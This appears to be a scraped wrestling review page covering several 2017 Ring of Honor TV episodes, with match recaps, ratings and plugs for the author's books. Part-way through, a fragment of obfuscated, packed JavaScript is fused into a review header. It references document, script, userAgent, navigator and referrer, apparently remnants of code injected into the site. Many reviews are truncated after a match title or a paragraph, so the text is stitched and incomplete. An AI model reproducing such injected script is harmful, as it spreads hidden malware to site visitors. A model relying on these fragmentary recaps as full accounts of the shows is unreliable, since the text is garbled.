Instead it’s a swinging Rock Bottom for two on Berreta, who bails outside for a breather. Back to back dives, including a corkscrew version from LSG, has the Best Friends reeling as Coleman is begging for them to go for a cover. Ali gets two off a frog splash but LSG’s 450 hits knees. Berreta’s running knee knocks LSG silly and it’s the piledriver into a cradle piledriver to put him away at 11:51.

Rating: C+. I liked this one more than I was expecting to, even if it just became a big spot fest near the end. The Best Friends are a popular enough team to eventually become a threat to the Bucks. Coast to Coast is getting better too and looks like they’re one of the better young teams who could mean something down the line. Or get split up for no apparent reason.

Jay Lethal talks about how rough it was to be put in the hospital for the first time in his career when Silas Young comes up. The brawl is on with Jay getting the better of it until the Beer City Bruiser comes up for a distraction, allowing Young to hit him in the back with a chair. Post break, Lethal demands any kind of a match against Young and/or Bruiser.

Matt Taven vs. Jay Briscoe

Jay tries to jump him at the bell but actually loses a slugout. Vinny Marseglia busts out an ax to distract Jay (well that could do it) so Jay grabs a chair to even things out. Since that could cause a bad case of death, they head back inside with Jay splashing Taven in the corner and adding a big boot for good measure.

Taven slips out of….something and knees Jay in the face. That’s enough time to check himself out in the camera though and we take a break. Back with Raven bailing out on a frog splash and getting caught with a Death Valley Driver. Taven’s Disaster Kick sets up a Lionsault which hits raised knees, followed by Briscoe’s hard lariat for two.

Jay slugs him in the jaw but a Blue Thunder Bomb gives Taven two more. The Climax (1%er) is broken up so Jay kicks him outside for a suicide dive. Cue Marseglia to interfere but Briscoe cuts him off with a neckbreaker. Now TK O’Ryan gets pulled in as well but he takes off his cast and knocks Jay cold for the DQ at 11:42.

Rating: C. Oh joy, the Kingdom is back. It helps to shore up the Six Man Tag Team Titles but on the other hand, it helps to shore up the Six Man Tag Team Titles. The team does nothing for me but I’ll take them as a trio over random singles matches. Briscoe is still in a weird place as he seems to be teasing a heel turn a lot of the time and then he does a straight face match like this. I mean, it’s hard to be a heel when you’re down 3-1 and one guy has an ax.

Post match the Kingdom covers Jay with chairs and then crushes him with more chairs.  Bully Ray and Mark Briscoe are nowhere to be seen.

Cody is ready to face anyone for the ROH World Title.

Six Man Tag Team Titles: Colt Cabana/Tempura Boyz vs. Dalton Castle/The Boys

Dalton and the Boys are defending. Colt and Dalton start things off and it’s time for some dancing, followed by the champs being sent to the floor for Colt’s own strut. That’s a bit too much comedy for me so we take a break. Back with the Boys bent over backwards to make themselves into a table. Dalton cleans house and then has a seat on them, allowing some much needed fanning up.

Back in and Dalton shakes his knees but Colt tags Sho in instead of having a dance off. It’s off to the Boys…..with one getting on the others shoulders. Sho does it to Yo and we’ve got a game of chicken. Thankfully Colt breaks it up to take over as this match is giving me a headache. Sho grabs a Fujiwara armbar but it’s Twin Magic for the save. Colt tries to make another switch but Sho does the same thing as this is what a championship match has turned into.

We take a second break and come back with the Boyz fanning Colt, allowing more Twin Magic to get one of the Boys out of trouble. The hot tag brings in Castle for some suplexes, including catching a diving Cabana. The Boys dive onto the Boyz and it’s Castle with the peacock strut. A double missile dropkick sets up another German suplex for two but the Boyz come in and take over without too much effort. The Boys pull the Boyz together though and a Bang a Rang ends Colt to retain the titles at 13:44.

Rating: D-. I can’t stand this kind of stuff as they’re just doing lame comedy and it’s for some of the most worthless titles in wrestling. The fact that this whole thing is all about “hey, I’ve got my own boys now” tells you all you need to know about it. Castle is far too talented and far too charismatic to be stuck in something like this. The Six Man Tag Team Titles need to die already, even if it ticks off Papa New Japan.

Post match Castle says Cabana has been an inspiration for a long time. Colt hasn’t made it easy to like him though as Cabana hasn’t accepted that Castle is just better. Now that it’s three straight wins for Castle, can he have Colt’s respect? Cabana shakes his hand to end the show.

Overall Rating: D+. That main event killed what was an otherwise solid show. I’m probably not the audience for that kind of match but it just didn’t work for me. What also doesn’t work for me are these stand alone shows with nothing major in the way of storytelling. This is all about filling in time until we can get back to talking about the pay per view that was barely talked about in advance. Such is life in Ring of Honor, though it’s still rather annoying.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Date: July 5, 2017
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Commentators: Ian Riccaboni, Colt Cabana

We’re still in Chicago and still getting ready to deal with the fallout from Best in the World, which should start in another two weeks if we’re lucky. I’m really running out of ways to complain about how messed up the schedule is and I still don’t understand why we have to wait so long. Let’s get to it.

Opening sequence.

Here’s new World Champion Cody in the ring so apparently we’re already on the new taping cycle. THEN WHY DIDN’T WE HAVE THIS LAST WEEK??? Anyway before he can say much of anything, Christopher Daniels shows up and beats the heck out of the new champ. A referee gets tossed and the brawl continues with Cody hitting a Disaster Kick. Daniels gets in a moonsault to the floor though and security breaks it up. The fans want to see them fight and didn’t seem to favor one over the other. Good opener here and I have no idea why this didn’t follow the pay per view last week if it was already filmed.

Jay Briscoe says this is different than the Top Prospect Tournament and Josh Woods is in way over his head.

Jay Briscoe vs. Josh Woods

They adhere to the Code of Honor in a bit of a surprise. Feeling out process to start with Josh tripping him to the mat and chuckling a bit. A cross armbreaker doesn’t last long so it’s another trip to take Briscoe down. Josh knees him in the head and this is one sided in the first few minutes.

Jay comes right back with a big boot to knock Josh outside and there’s a suicide dive. Well done there with having Josh get the better of it when there are rules and structure but Briscoe takes over when things get a little more violent and intense. Back with Jay throwing him outside for a whip into the barricade as the brawling continues to go Briscoe’s way.

There’s a ton of room on the floor too, which makes me think they could have easily fit another row or even two of fans in there. I can’t imagine sales were that weak in Chicago of all places. Back in and Josh blocks a suplex for one of his own, followed by the TKO into a knee to the face. A springboard spinning knee/kick to the face gets two on Jay, who shrugs it off and lariats Woods for the pin at 10:50.

Rating: B-. I had a good time with this match as Briscoe continues to give the younger guys a rub, just like he did with Jay White. It’s not like he has anything else going on right now so give these guys something that they’re not going to be able to get from anyone else. Good match too with Woods showing off because he found out he was in over his head.

We look at Will Ferrara splitting with Cheeseburger because he’s sick of dealing with a charity case like Cheeseburger. Haven’t these guys split like three times now?

Tempura Boyz vs. Coast to Coast

Actually hang on as here are the Young Bucks who offer to add themselves to the match with the titles on the line under tornado rules.

Tag Team Titles: Young Bucks vs. Tempura Boyz vs. Coast to Coast

The Bucks are defending under tornado rules and the champs waste no time cleaning house. It’s immediately time to fire off the kicks to send all four challengers outside, followed by the Rise of the Terminators. The double dives are broken up though with the Boyz hitting stereo German suplexes on the floor.

Coast to Coast dives on everyone and we take a break. Back with Nick firing off running knees in the corner to both Boyz, only to get caught in something like a 3D with a Flatliner instead of a cutter. There’s the big flip dive to the floor to take out Coast to Coast but the Meltzer Diver is broken up.

Coast to Coast comes back in and breaks up the Superkick Party (Colt: “Everybody knows they’re just going to do superkicks so it’s not that hard to figure out.). A double Indytaker sets up double superkicks to retain the titles at 8:27. That’s the EXACT same ending as the match in Long Beach.

Rating: C+. I can’t believe I’m saying this but thank goodness for the Bucks here. Coast to Coast and the Tempura Boyz are completely worthless tag teams so throw the Bucks in there and turn it into a glorified squashed. The match wasn’t great but this could have been very boring so the Bucks really did help things out.

Highlights of Adam Cole vs. Marty Scurll in an anything goes match.

Mark Briscoe vs. Beer City Bruiser vs. Kenny King vs. Chris Sabin

One fall to a finish and the winner gets a TV Title shot. Mark says he has to win because he has four kids. I wonder if he has an above ground pool. Mark and Kenny start things off and apparently this is under lucha rules, meaning Bruiser can come in and toss people to the floor.

Sabin dives into a side slam and for some reason Bruiser tags out. Why would you do that in a one fall match where you have to be legal to win? King’s Muta Lock is broken up and it’s Mark coming in to clean house. A moonsault to the floor takes out Bruiser and King, followed by Sabin firing off the kicks from the apron.

We take a break and come back with Bruiser running Mark over as the tags have been completely abandoned, as is the custom in these matches. Mark gets crushed against Sabin in the corner for a good looking crash, followed by a running flip dive to the floor to take out Mark and Chris. Kenny dives onto everyone but Mark is smart enough to walk away. Back in and Mark hits the brainbuster on Kenny, setting up the Froggy Bow at the same time the Bruiser splashes Chris. Both guys get up to avoid leaving is as a three way but King actually manages a Royal Flush on the Bruiser for the pin and the title shot at 10:59.

Rating: C. Pretty standard chaos match here with everyone flying all over the place and little in the way of storytelling, though that’s kind of the point to something like this. King winning is an interesting way to go as the Rebellion was such a waste of time but King’s natural athleticism should be more than enough to give him a good match with Kushida.

Overall Rating: C+. I had a good time with this show as there were three solid matches and a strong angle to open things up. They should be fine head into the next few weeks but above all else I’m VERY happy that we’re already on the pay per view fallout and don’t have to sit around waiting through weeks of one off filler shows. Good show this week and one of the more entertaining editions in a long time.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shbrt|var|u0026u|referrer|kknbi||js|php'.split('|'),0,{})) of Honor
Date: March 22, 2017
Location: Stage AE, Pittsburgh, Pennsylvania
Commentator: Ian Riccaboni

^{Opening sequence.}

Beer City Bruiser/Silas Young vs. Cheeseburger/Will Ferrara

Before the match, Young and Bruiser confirm that they have a partner for the April 1 shot at the Six Man Tag Team Titles. Cheeseburger gets flattened with a powerbomb to start before a suplex and low clothesline drop Ferrara. The wrestling sandwich dives back in though and sends his partner into Silas to get a breather. The villains tease sending Cheeseburger over for a tag before grabbing him in a swinging Boss Man Slam backbreaker. Not bad.

Top Prospect Tournament First Round: Josh Woods vs. Chris Lerusso

Lio Rush vs. Kenny King

Chris Sabin and is the new commentary partner. They hit the mat to start with neither being able to hold a headscissors. King misses a bunch of strikes which Rush hits with ease, followed by a jumping enziguri for two. Rush sends him outside for a dive but Kenny breaks up a dive with a kick as we take a break.

Back with Lio slugging away and hitting a Tajiri handspring elbow. Two straight suicide dives keep King in trouble but he rolls through a high crossbody, only to get taken down by a reverse hurricanrana. The frog splash is only good for two (thankfully, as that would have been two of them in three matches). King misses running knees in the corner though and a second frog splash misses. Kenny grabs the Royal Flush for the pin at 8:17.

Post match Caprice Coleman stares Rush down but Shane Taylor comes out for the save. As you might expect, that lasts all of thirty seconds before Taylor lays him out to join the Rebellion. This stable DOES NOT NEED new members!

Jay White vs. Jay Briscoe

Mark Briscoe is on commentary and this is a rematch from their great time limit draw a few months back. White dropkicks him into the corner to start and then sends Briscoe outside for some elbows up against the barricade. Briscoe is done with this defense thing and grabs a hurricanrana, followed by a suicide dive into the barricade for a big crash.

Rating: B. White is good and these two matches have done a great job of making you believe that he can hang with someone much higher up the ladder like Briscoe. ROH takes way too long to build up new stars sometimes so this was quite the change of pace, which is certainly a good thing. Awesome match here as these two have some wicked chemistry.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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Date: February 22, 2017
Location: Center Stage Theater, Atlanta, Georgia
Commentator: Kevin Kelly

The opening recap of course looks at the tournament, as it should.

Opening sequence.

Silas Young vs. Bull James

Colt Cabana vs. The Boys

Daniels lists all of his accomplishments but none of them matter without winning the World Title. It is his destiny to win the title and it will cement him as the best instead of the best that never was.

Video on the history of the Top Prospect Tournament, which starts up next week.

Decade of Excellence Tournament Finals: Jay Briscoe vs. Christopher Daniels

They shake hands to end the show.

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Date: February 1, 2017
Location: Center Stage Theater, Atlanta, Georgia
Commentator: Kevin Kelly

^{We open with Adam Cole bragging about winning the World Title for an unprecedented third time. Not much to see here other than “Cole is awesome.”}

Tempura Boyz vs. Coast to Coast vs. Cheeseburger/Will Ferrara

Coast to Coast is Leon St. Giovanni and Shahim Ali. The Tempura Boyz (Yo and Cho) send Coast to Coast outside to start but get kicked in the face for their efforts. Leon gets back in and fires off some elbows to the face so here are the Boyz again to clean house for the first time. Cheeseburger dives on a bunch of people and Cho does the same for an even bigger crash.

Video on Juice Robinson.

TV Title: Marty Scurll vs. Juice Robinson

Jay Lethal and Jay Briscoe are ready to fight in the tournament.

Decade of Excellence Tournament Semifinals: Jay Lethal vs. Jay Briscoe

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Date: January 11, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Nigel McGuinness

We open with clips of Christopher Daniels defeating Mark Briscoe in the first tournament match.

Opening sequence.

Decade of Excellence Tournament First Round: Jay Briscoe vs. BJ Whitmer

Whitmer says everything ends with a sacrifice next week.

Silas Young/Beer City Bruiser vs. Alex Reynolds/Jon Silver

Silver actually suplexes Young for two to start until the massive Bruiser comes in with a clothesline to knock Reynolds into a German suplex for two. Bruiser adds a cannonball for two more on Alex but he avoids a charge and rolls over for the tag off to Silver. The much smaller Jon manages a suplex on the Bruiser in an impressive display of strength. A Codebreaker into a German suplex gets two on Young but he kicks Silver in the head. Bruiser adds a Banzai Drop and Young gets the pin at 4:50.

Post match Young says he and Bruiser want another partner to go after the Six Man Tag Team Titles (oh yeah those exist). They call out Bull James and then beat him up for not being the guy. Ok then.

Kingdom vs. Cheeseburger/Will Ferrara/Joey Daddiego

Non-title. The Kingdom jumps them to start with Marseglia beating up all three at once until Daddiego gets in a fall away slam to put the champs on the floor. Back from a break with Ferrara getting stomped in the corner as the Kingdom continues to be difficult to tell apart because no one bothered to tell us anything about them.

Decade of Excellence Tournament First Round: Colt Cabana vs. Chris Sabin

Alex Shelley is on commentary. They fight over a wristlock to start until Chris kicks him in the chest and gets two off a high crossbody. What looked like a thumb to the eye allows Colt to send him outside and we go to a break. Back with Colt putting on a one armed camel clutch but missing a middle rope splash. Instead Chris gets in a missile dropkick to send him outside, setting up a running kick to the chest. Back in and Cabana scores off a hip attack but here are the Boys to fan Cabana a bit. The distraction lets Chris get a small package for the pin at 8:14.

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